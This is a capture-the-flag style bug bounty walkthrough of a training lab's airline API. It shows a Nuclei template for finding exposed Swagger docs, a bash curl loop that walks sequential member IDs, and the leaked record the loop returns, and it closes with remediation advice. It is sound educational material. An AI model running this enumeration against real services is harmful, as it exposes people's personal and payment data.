A Bug Bounty Masterclass Walkthrough

In the world of bug bounty hunting, we often look for the "flashy" exploits RCE or complex SSRF. But sometimes, the most devastating vulnerabilities are the simplest. Today, I'm walking through a challenge that mirrors a real-world critical finding where a major airline leaked passenger PII (Personally Identifiable Information).

1. The Entry Point: Reconnaissance

The target was airlines.bugbountymasterclass.com. My breakthrough came when I stumbled upon a Swagger UI page at /docs/. Swagger is an API's roadmap; it lists every endpoint, every required parameter, and the authentication requirements.

Automating Discovery with Nuclei

I used a custom Nuclei template to scan the infrastructure for exposed docs. If you're hunting, this is your bread and butter:

YAML

id: swagger-directory-discovery
info:
  name: Swagger UI Directory Discovery
  severity: info
http:
  - method: GET
    path:
      - "{{BaseURL}}/docs/"
      - "{{BaseURL}}/swagger-ui.html"
      - "{{BaseURL}}/api/docs/"
    matchers-condition: and
    matchers:
      - type: word
        words: ["swagger-ui", "OpenAPI"]
        condition: or
      - type: status
        status: [200]

2. The Vulnerability: Broken Object Level Authorization

While reviewing the Swagger docs, I noticed a discrepancy:

  • The Locked: /api/getContactInfo (Required a Bearer token).
  • The Exposed: /api/getMembership (Listed as unauthenticated).

The developers correctly secured the "sensitive" contact info but forgot to lock the "membership" info. However, both endpoints drew from the same data source.

3. The Exploit: Walking the IDs

Using the public /api/getMemberships list, I found two valid member IDs:

  • 72041008520
  • 72041008521

In many legacy systems, these IDs are sequential. I pivoted to my terminal to "walk" the IDs and see if I could access records I wasn't authorized to see.

The Automation Script:

for i in {510..530}; do
  echo "Testing ID 72041008$i..."
  curl -s "https://api.airlines.bugbountymasterclass.com/api/getMembership?memberId=72041008$i"
done

4. The Payload & The Flag

Halfway through the loop, the server returned a record for Casey Smith. Because the API suffered from Excessive Data Exposure, it didn't just return a name it dumped the entire database object, including a hidden flag field.

The Result:

{
  "memberId": "72041008520",
  "engFirstName": "CASEY",
  "engLastName": "SMITH",
  "creditCard": {"lastFourDigits": "4849"},
  "flag": "WIZFLAG-xxx-xxxxxxx-data-leak"
}

5. Lessons for Developers

  • Authorization at the Resource Level: Don't just check if a user is "logged in." Check if they own the specific memberId they are requesting.
  • Disable Swagger in Production: Documentation should be behind a VPN or internal authentication.
  • Use UUIDs: Replace sequential integers with random UUIDs to make ID guessing impossible.

Happy Hunting!

This represents a Critical severity bug. If this were real, thousands of addresses and partial payment details would be public. Thanks Nagli for the Lesson